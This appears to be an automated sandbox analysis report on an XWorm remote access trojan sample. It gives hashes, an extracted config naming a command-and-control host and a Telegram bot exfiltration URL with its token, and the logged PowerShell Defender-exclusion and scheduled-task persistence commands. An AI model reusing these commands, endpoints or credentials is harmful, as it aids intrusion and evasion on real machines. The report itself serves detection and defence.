xworm | d181856c7c7af8f09c799900be4fde66bc44eadf2f25fb78e5bacc82a32515ae

Analysis

max time kernel
148s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
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General

Target
d181856c7c7af8f09c799900be4fde66bc44eadf2f25fb78e5bacc82a32515ae.exe
Size 255KB
Sample260802-dtln7sce33
SHA256 d181856c7c7af8f09c799900be4fde66bc44eadf2f25fb78e5bacc82a32515ae
MD5 64c3d7f7e03f56d082f80ee6b025ad7c
SHA1 702b5867ed4119e462e809579930e7cf566180ce
SHA512 3563eceb08b6213c2c45d4c8a6a72d0f731ec481acdadadeb858798165074e844708eea09a33763966b65a1079c8b1a71e01c68454f00620059d582d322996a4
SSDEEP 6144:UnuKIG9/buN42iTVVmVVV8VVNVVVcVVVxVVVPVVlVVVRVVVtVVWV60jVLVVOVVUa:6fIG4N6
TLSH
T103449781CF89148BDC3A9F31E1B0B7654B7BEAD0B89A9F6D206D3D2D7C54A409C02779
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution xworm persistence privilege_escalation rat trojan

Malware Config

Extracted

Family

xworm

us.loclx.io:49051

Attributes

Install_directory
%ProgramData%
install_file
MpCmdRun.exe
telegram
https://api.telegram.org/bot8615082630:AAE7rCYYyaFvp40ZNS_dMmZBdo4p1RdTY-c/sendMessage?chat_id=8922768634

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/memory/4608-1-0x0000000000FD0000-0x0000000001016000-memory.dmp	family_xworm
behavioral2/files/0x001600000001c5ce-56.dat	family_xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4856	powershell.exe
5920	powershell.exe
5756	powershell.exe
5004	powershell.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MpCmdRun.lnk	d181856c7c7af8f09c799900be4fde66bc44eadf2f25fb78e5bacc82a32515ae.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MpCmdRun.lnk	d181856c7c7af8f09c799900be4fde66bc44eadf2f25fb78e5bacc82a32515ae.exe

Executes dropped EXE 4 IoCs

pid	Process
248	MpCmdRun.exe
1200	MpCmdRun.exe
4476	MpCmdRun.exe
1832	MpCmdRun.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\MpCmdRun = "C:\\ProgramData\\MpCmdRun.exe"	d181856c7c7af8f09c799900be4fde66bc44eadf2f25fb78e5bacc82a32515ae.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4380	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
5756	powershell.exe
5756	powershell.exe
5004	powershell.exe
5004	powershell.exe
4856	powershell.exe
4856	powershell.exe
5920	powershell.exe
5920	powershell.exe
4608	d181856c7c7af8f09c799900be4fde66bc44eadf2f25fb78e5bacc82a32515ae.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4608	d181856c7c7af8f09c799900be4fde66bc44eadf2f25fb78e5bacc82a32515ae.exe
Token: SeDebugPrivilege	5756	powershell.exe
Token: SeIncreaseQuotaPrivilege	5756	powershell.exe
Token: SeSecurityPrivilege	5756	powershell.exe
Token: SeTakeOwnershipPrivilege	5756	powershell.exe
Token: SeLoadDriverPrivilege	5756	powershell.exe
Token: SeSystemProfilePrivilege	5756	powershell.exe
Token: SeSystemtimePrivilege	5756	powershell.exe
Token: SeProfSingleProcessPrivilege	5756	powershell.exe
Token: SeIncBasePriorityPrivilege	5756	powershell.exe
Token: SeCreatePagefilePrivilege	5756	powershell.exe
Token: SeBackupPrivilege	5756	powershell.exe
Token: SeRestorePrivilege	5756	powershell.exe
Token: SeShutdownPrivilege	5756	powershell.exe
Token: SeDebugPrivilege	5756	powershell.exe
Token: SeSystemEnvironmentPrivilege	5756	powershell.exe
Token: SeRemoteShutdownPrivilege	5756	powershell.exe
Token: SeUndockPrivilege	5756	powershell.exe
Token: SeManageVolumePrivilege	5756	powershell.exe
Token: 33	5756	powershell.exe
Token: 34	5756	powershell.exe
Token: 35	5756	powershell.exe
Token: 36	5756	powershell.exe
Token: SeDebugPrivilege	5004	powershell.exe
Token: SeIncreaseQuotaPrivilege	5004	powershell.exe
Token: SeSecurityPrivilege	5004	powershell.exe
Token: SeTakeOwnershipPrivilege	5004	powershell.exe
Token: SeLoadDriverPrivilege	5004	powershell.exe
Token: SeSystemProfilePrivilege	5004	powershell.exe
Token: SeSystemtimePrivilege	5004	powershell.exe
Token: SeProfSingleProcessPrivilege	5004	powershell.exe
Token: SeIncBasePriorityPrivilege	5004	powershell.exe
Token: SeCreatePagefilePrivilege	5004	powershell.exe
Token: SeBackupPrivilege	5004	powershell.exe
Token: SeRestorePrivilege	5004	powershell.exe
Token: SeShutdownPrivilege	5004	powershell.exe
Token: SeDebugPrivilege	5004	powershell.exe
Token: SeSystemEnvironmentPrivilege	5004	powershell.exe
Token: SeRemoteShutdownPrivilege	5004	powershell.exe
Token: SeUndockPrivilege	5004	powershell.exe
Token: SeManageVolumePrivilege	5004	powershell.exe
Token: 33	5004	powershell.exe
Token: 34	5004	powershell.exe
Token: 35	5004	powershell.exe
Token: 36	5004	powershell.exe
Token: SeDebugPrivilege	4856	powershell.exe
Token: SeIncreaseQuotaPrivilege	4856	powershell.exe
Token: SeSecurityPrivilege	4856	powershell.exe
Token: SeTakeOwnershipPrivilege	4856	powershell.exe
Token: SeLoadDriverPrivilege	4856	powershell.exe
Token: SeSystemProfilePrivilege	4856	powershell.exe
Token: SeSystemtimePrivilege	4856	powershell.exe
Token: SeProfSingleProcessPrivilege	4856	powershell.exe
Token: SeIncBasePriorityPrivilege	4856	powershell.exe
Token: SeCreatePagefilePrivilege	4856	powershell.exe
Token: SeBackupPrivilege	4856	powershell.exe
Token: SeRestorePrivilege	4856	powershell.exe
Token: SeShutdownPrivilege	4856	powershell.exe
Token: SeDebugPrivilege	4856	powershell.exe
Token: SeSystemEnvironmentPrivilege	4856	powershell.exe
Token: SeRemoteShutdownPrivilege	4856	powershell.exe
Token: SeUndockPrivilege	4856	powershell.exe
Token: SeManageVolumePrivilege	4856	powershell.exe
Token: 33	4856	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4608	d181856c7c7af8f09c799900be4fde66bc44eadf2f25fb78e5bacc82a32515ae.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4608 wrote to memory of 5756	4608	d181856c7c7af8f09c799900be4fde66bc44eadf2f25fb78e5bacc82a32515ae.exe	89
PID 4608 wrote to memory of 5004	4608	d181856c7c7af8f09c799900be4fde66bc44eadf2f25fb78e5bacc82a32515ae.exe	92
PID 4608 wrote to memory of 4856	4608	d181856c7c7af8f09c799900be4fde66bc44eadf2f25fb78e5bacc82a32515ae.exe	94
PID 4608 wrote to memory of 5920	4608	d181856c7c7af8f09c799900be4fde66bc44eadf2f25fb78e5bacc82a32515ae.exe	96
PID 4608 wrote to memory of 4380	4608	d181856c7c7af8f09c799900be4fde66bc44eadf2f25fb78e5bacc82a32515ae.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\d181856c7c7af8f09c799900be4fde66bc44eadf2f25fb78e5bacc82a32515ae.exe
"C:\Users\Admin\AppData\Local\Temp\d181856c7c7af8f09c799900be4fde66bc44eadf2f25fb78e5bacc82a32515ae.exe"
1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\d181856c7c7af8f09c799900be4fde66bc44eadf2f25fb78e5bacc82a32515ae.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'd181856c7c7af8f09c799900be4fde66bc44eadf2f25fb78e5bacc82a32515ae.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\MpCmdRun.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'MpCmdRun.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5920
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "MpCmdRun" /tr "C:\ProgramData\MpCmdRun.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4380

C:\ProgramData\MpCmdRun.exe
C:\ProgramData\MpCmdRun.exe
1⤵
- Executes dropped EXE
PID:248

C:\PROGRA~3\MpCmdRun.exe
C:\PROGRA~3\MpCmdRun.exe
1⤵
- Executes dropped EXE
PID:1200

C:\ProgramData\MpCmdRun.exe
"C:\ProgramData\MpCmdRun.exe"
1⤵
- Executes dropped EXE
PID:4476

C:\ProgramData\MpCmdRun.exe
"C:\ProgramData\MpCmdRun.exe"
1⤵
- Executes dropped EXE
PID:1832

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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MpCmdRun.exe

Path C:\ProgramData\MpCmdRun.exe
Size 255KB
SHA256 d181856c7c7af8f09c799900be4fde66bc44eadf2f25fb78e5bacc82a32515ae
MD5 64c3d7f7e03f56d082f80ee6b025ad7c
SHA1 702b5867ed4119e462e809579930e7cf566180ce
SHA512 3563eceb08b6213c2c45d4c8a6a72d0f731ec481acdadadeb858798165074e844708eea09a33763966b65a1079c8b1a71e01c68454f00620059d582d322996a4
SSDEEP 6144:UnuKIG9/buN42iTVVmVVV8VVNVVVcVVVxVVVPVVlVVVRVVVtVVWV60jVLVVOVVUa:6fIG4N6
TLSH
T103449781CF89148BDC3A9F31E1B0B7654B7BEAD0B89A9F6D206D3D2D7C54A409C02779
MD5 SHA1 SHA512 SSDEEP TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
MD5 66f9b690d4e5313231bc173ce7b2c029
SHA1 b0dbce2f97d8ca067ddde29c06272e56e38fa195
SHA512 8f0c4c220fc64928778bf68c853246126b44f40fcdc99aa2fdaa491797ce02783c8776fdd7bd3154544336f0466000a8b92c740ed0d0df75b8a6990da450650e
TLSH
T158216833B3DD8614C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 070e2dc002fee5d6c6ae0611713bb24a9f01d741d964e7f1ece4f61789724a94
MD5 95e9928464a1f3425068f7e64a74060a
SHA1 9bdbd59bea34afd0aebf4d0c3d3cfe0317aa4d57
SHA512 a150525324ebe4a0dc28577f089c1f45ef0902355ecd9d5f10c91d45fe57d44d09c6d133a92c3f32dca0c73b97b259d5ad7ff4316edafa2cb00e38d64e043f06
TLSH
T1E9216833F3DD8654C899413A10CEAC1035B7C7DB40DECEDB6B84D559A43F699CE61160
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_mvritczh.5i3.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mvritczh.5i3.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/4608-3-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp

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memory/4608-58-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp

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memory/4608-60-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp

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memory/4608-54-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp

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memory/4608-0-0x00007FFE9C01F000-0x00007FFE9C020000-memory.dmp

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memory/4608-53-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp

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memory/4608-52-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp

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memory/4608-51-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp

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memory/4608-2-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp

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memory/4608-1-0x0000000000FD0000-0x0000000001016000-memory.dmp

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memory/5756-10-0x000002353AF50000-0x000002353AF72000-memory.dmp

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memory/5756-16-0x000002353AFF0000-0x000002353B00E000-memory.dmp

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memory/5756-20-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp

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memory/5756-27-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp

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memory/5756-18-0x000002353B2E0000-0x000002353B2EA000-memory.dmp

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memory/5756-17-0x000002353B010000-0x000002353B0C2000-memory.dmp

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memory/5756-19-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp

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memory/5756-43-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp

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memory/5756-12-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp

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memory/5756-59-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp

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memory/5756-4-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp

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